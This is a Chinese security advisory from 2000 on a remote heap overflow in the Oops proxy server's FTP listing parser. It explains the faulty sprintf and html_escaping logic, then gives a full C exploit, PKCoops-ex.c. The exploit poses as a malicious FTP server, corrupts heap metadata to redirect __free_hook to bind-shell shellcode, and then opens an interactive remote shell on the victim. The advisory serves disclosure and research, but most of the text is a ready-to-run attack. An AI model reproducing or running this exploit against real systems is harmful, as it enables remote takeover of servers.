发布日期：2000-12-13
更新日期：2000-12-13

受影响系统：

Oops proxy server 1.4.22
Oops proxy server 1.4.6

描述：

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Oops代理服务软件的某些版本存在一个远程堆溢出问题。攻击者可能远程在服务
器上执行任意代码。

下面是有问题的代码部分。

在ftp_utils.c中的list_parser()函数:

line 是ftp server返回的list命令的结果
   tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);
   
p 是line中去掉文件名的部分。

    htmlized_something = html_escaping(p);

下面这个sprintf将导致溢出发生：

sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ",
                              icons_host[0]?icons_host:myhostname,
                              icons_port[0]?icons_port:"80",
                              icons_path[0]?icons_path:"icons",
                              icons[type],
                              alts[type],
                              htmlized_something);

尽管tempbuf为line分配了3倍大小的空间来存储htmlized_something,但是由于
html_escaping()将会把"号转化为&quot; 因此，如果在line中放入大量的"
仍将导致tempbuf发生溢出。

<*来源：|CyRaX| (cyrax@pkcrew.org)
         http://www.pkcrew.org
*>



测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

--- PKCoops-ex.c ---

/* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
* Coded by |CyRaX| <cyrax@pkcrew.org>
* Packet Knights Crew : www.pkcrew.org
* Tested on Slackware 7.0
*
* Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
* LordFelix & bikappa : for some hints about heap overflow
* BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
*/


#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>

#define ALIGN 0
#define __FREE_HOOK 0x40175994
#define SHELLCODE 0x80b1223


char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
            "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
            "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
            "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
            "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
            "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
            "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
            "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";


int main(int argc,char **argv){
   int s,s2,clnsock,i;
   struct sockaddr_in srv,clt;
   char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
   unsigned long ip;
   int h1,h2,h3,h4,p1,p2;
   u_short port;
   int passive=0,tmplen,wrtlen;
   struct malloc_chunk{
      unsigned int ps;
      unsigned int sz;
      struct malloc_chunk *fd;
      struct malloc_chunk *bd;
   }mc;
   fd_set setz;

   mc.ps=0xffffffff & ~1;
   mc.sz=0xffffffff;
   mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
   mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */
   memset(magic2,0x41,0);
   memcpy(magic2+0,&mc,sizeof(mc));

   memset(magic3,'\x90',50);
   memcpy(magic3+50,c0de,strlen(c0de));
   magic3[50+strlen(c0de)]=0;

   if(argc<4){
      printf("Proof exploit against oops proxy server heap buffer overflow!\n");
      printf("by |CyRaX| <cyrax@pkcrew.org>\n");
      printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
      printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
      printf("your ip: it is necessary for the passive mode\n");
      printf("hostname len is the len of the host that he *thinks* to have\n");
      printf("         for example if the hostname is c500 you must put 4 here\n");

      exit(0);
   }
   printf("now set the victim as your proxy in any web browser and go to\n");
   printf("ftp://<your_ip>\n");

   for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';


   s=socket(AF_INET,SOCK_STREAM,0);
   srv.sin_addr.s_addr=INADDR_ANY;
   srv.sin_port=htons(21);
   srv.sin_family=AF_INET;
   if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
      printf("cannot bind to port 21 !\n");
      exit(0);
   }
   listen(s,1);
   clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
   close(s);
   strcpy(buff,"220 exploit is here :)\r\n");
   send(clnsock,buff,strlen(buff),0);
   recv(clnsock,buff,500,0);
   strcpy(buff,"331 any pass is good d00d\r\n");
   send(clnsock,buff,strlen(buff),0);
   recv(clnsock,buff,500,0);
   strcpy(buff,"230 oky d00d.. login done!\r\n");
   send(clnsock,buff,strlen(buff),0);
   while(1){
      memset(buff,0,500);
      if(recv(clnsock,buff,500,0)<0)break;
      if(strstr(buff,"SYST")){
  strcpy(sndbuff,"215 UNIX Type: L8\r\n");
  send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"PASV")){
  srv.sin_port=htons(1322);
  if(passive==0){
     s=socket(AF_INET,SOCK_STREAM,0);
     if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
        printf("cannot bind to port 1322 for passive mode!\n");
        exit(0);
     }
     listen(s,4);
     passive=1;
  }
  else {
     close(s2);
  }
  sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
  send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"TYPE")){
  strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
  send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"NLST")){
  if(passive){
     s2=accept(s,NULL,NULL);
     strcpy(sndbuff,"150 Opening ASCII mode data connection for file list.\r\n");
     send(clnsock,sndbuff,strlen(sndbuff),0);
     sprintf(sndbuff,"%s\r\n",magic3);
     send(s2,sndbuff,strlen(sndbuff),0);
     close(s2);
     strcpy(sndbuff,"226 Transfer complete.!\r\n");
     send(clnsock,sndbuff,strlen(sndbuff),0);

  }
      }

      if(strstr(buff,"LIST")){
  strcpy(sndbuff,"150 vieni pure amore!\r\n");
  s2=accept(s,NULL,NULL);

  /*   HOW MANY BYTES TO WRITE COMPUTING */
  tmplen=0;
  tmplen=strlen("Arwxrwxrwx rooOOOt   \r\n ")*3+strlen(magic2)*3+
    strlen(magic3)*3;
  tmplen=tmplen+128; /* dovesok */
  tmplen=tmplen+atoi(argv[3]);
  tmplen+=10;
  wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
         "alt=\"[Unkn] \" ")+atoi(argv[3]);
  wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt   \r\n")+strlen(magic2);
  i=0;

  while((wrtlen-tmplen)<16){
        magic[i]='"';
        tmplen+=3; /* 1 *3 */
        wrtlen+=6; /* &quot; */
        i++;
  }
  magic[i]=0;
  printf("ora otgpdvt tmplen %i | wrtlen %i\n",tmplen,wrtlen);


  memset(sndbuff,0,1500);
  snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
    magic,
    magic2,
    magic3);

  send(s2,sndbuff,3000,0);
  strcpy(sndbuff,"226 Ho finito\r\n");
  send(clnsock,sndbuff,strlen(sndbuff),0);
  shutdown(s2,2);
  printf("closed!\n");
  sleep(5);
  s2=socket(AF_INET,SOCK_STREAM,0);
  clt.sin_addr.s_addr=inet_addr(argv[2]);
  clt.sin_port=htons(3879);
  clt.sin_family=AF_INET;
  if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
     printf("SORRY.. it didn't work!\n");
     exit(0);
  }
  strcpy(sndbuff,"uname -a;id\n");
  send(s2,sndbuff,strlen(sndbuff),0);
  while(1){
     FD_ZERO(&setz);
     FD_SET(0,&setz);
     FD_SET(s2,&setz);
     select(s2+1,&setz,NULL,NULL,NULL);
     if(FD_ISSET(0,&setz)){
        memset(sndbuff,0,sizeof(sndbuff));
        fgets(sndbuff,sizeof(sndbuff),stdin);
        send(s2,sndbuff,strlen(sndbuff),0);
     }
     if(FD_ISSET(s2,&setz)){
        memset(sndbuff,0,sizeof(sndbuff));
        recv(s2,sndbuff,sizeof(sndbuff),0);
        printf("%s",sndbuff);
     }
  }
      }
      if(strstr(buff,"CWD")){
  strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
  send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"PWD")){
  strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
  send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"QUIT")){
  close(clnsock);
      }
   }
   close(clnsock);
   close(s);
   close(s2);
}



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